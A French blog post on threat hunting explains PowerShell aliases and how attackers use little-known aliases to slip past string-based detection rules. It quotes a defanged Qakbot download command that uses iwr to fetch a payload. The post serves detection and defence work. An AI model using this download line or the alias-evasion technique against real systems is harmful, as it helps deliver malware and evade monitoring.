Chasse aux menaces et alias PowerShell

Dans cet article, je discuterai de ce que sont les alias Powershell et pourquoi il est important de les garder à l'esprit lors de l'exécution d'activités de chasse aux menaces ou de la création de règles de détection.

Qu'est-ce qu'un alias ?

Comme son nom l'indique, un alias est un autre nom pour une applet de commande ou une commande PowerShell. Une fois l'alias créé, vous pourrez l'utiliser à la place de la commande d'origine.

PS > New-Alias -Name goto -Value Set-Location

L'applet de commande Set-Locationest utilisée pour changer le répertoire du dossier actuel, après avoir exécuté la commande ci-dessus, nous pourrions changer de répertoire simplement en utilisant gotola commande.

Alors maintenant que nous savons ce que sont les alias et comment ils fonctionnent, passons à des choses plus juteuses.

Alias ​​intégrés

Il existe déjà des alias intégrés dans Powershell, que vous utilisez probablement sans même savoir qu'il s'agit bien d'un alias, par exemple :

  • curlcommand est un alias intégré pourInvoke-WebRequest
  • cdcommand (change directory) est un alias intégré pourSet-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      
built-in aliases for starting a process
List of all cmdlets and its associated alias

Les attaquants peuvent l'utiliser comme technique d'évasion de défense contre les règles de détection basées sur des chaînes.

Dans un récent échantillon de Qakbot partagé par @ pr0xylife , la chaîne d'infection était — .one > .wsf > .cmd > ps > .dll — Et la commande Powershell exécutée utilisait l'un des alias — iwr — pourInvoke-WebRequest

powershell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

Puisqu'il existe un tas d'alias peu connus qui peuvent être abusés par TA, j'ai créé une petite feuille de triche avec certains des plus intéressants :

Et enfin, voici comment Start-Processla commande using sapsapparaîtra dans les journaux d'événements Sysmon. Nous pouvons confirmer que l'alias n'est pas "traduit" dans son applet de commande d'origine.

Il est très courant de développer une règle pour détecter une chaîne d'applet de commande Powershell spécifique sans inclure tous ses alias intégrés, ce qui pourrait entraîner une menace non détectée.

J'espère que vous avez peut-être appris quelque chose de ce blog.

Merci d'avoir lu et Bonne chasse !

Suggested posts

Rassembler OSINT pour la chasse aux menaces

Rassembler OSINT pour la chasse aux menaces

Salut les cyber-amateurs ! Bienvenue à nouveau dans la série OSINT pour la chasse aux menaces. Dans le premier article, je vous ai donné un aperçu d'OSINT et de son importance dans la chasse aux menaces.

Suivre n'importe qui avec juste un numéro de téléphone | Enquête OSINT

Suivre n'importe qui avec juste un numéro de téléphone | Enquête OSINT

Vous pouvez être un enquêteur OSINT, un joueur CTF ou simplement quelqu'un qui reçoit des appels de spam. Quelqu'un qui essaie de vérifier le numéro que vous avez vu dans une publicité.

Related posts

Le mensonge du cow-boy

Comment les mégacorporations ont vendu aux Américains un mensonge costaud

Le mensonge du cow-boy

C'est un matin brillamment doré dans les collines de l'ouest, alors que les premiers rayons du soleil illuminent l'herbe givrée des plaines. Un troupeau de bovins Angus placides, d'un noir de jais et massif, se découpe sur le lever du soleil alors qu'ils descendent un sentier battu vers un lieu qu'ils connaissent tous bien; le bar du petit-déjeuner.

Repenser les médias : les cinq vérités de McChesney et l'avenir des communications

Dans le monde hyper-connecté d'aujourd'hui, les systèmes médiatiques jouent un rôle central dans la formation de l'opinion publique et, par conséquent, dans la prise de décision démocratique. Dans son analyse approfondie de l'économie politique de la communication, le chercheur Robert McChesney remet en question la sagesse conventionnelle et présente ce qu'il appelle les « cinq vérités » sur les médias.

La persécution des chrétiens : le crime de haine dont nous ne parlons pas

Oubliez l'islamophobie : les chrétiens (et les juifs) sont les principales victimes des crimes de haine religieuse.

La persécution des chrétiens : le crime de haine dont nous ne parlons pas

Tout esprit rationnel sait que les milieux politiques et médiatiques sont dominés par la gauche, voire l'extrême gauche, un état de fait qui crée un déséquilibre dans le discours politique. Dans le domaine religieux, ce déséquilibre est bien visible : les journaux et les réseaux de gauche ne se précipitent pas pour défendre la foi chrétienne.

Deux ans en design - Le bon, le mauvais et le laid…

Deux ans en design - Le bon, le mauvais et le laid…

"Hey Siri, joue Me Dive d'Olivia Dean." C'était en mai 2021 lorsque j'ai commencé mon stage à la Future Academy Africa à Akure, au Nigeria.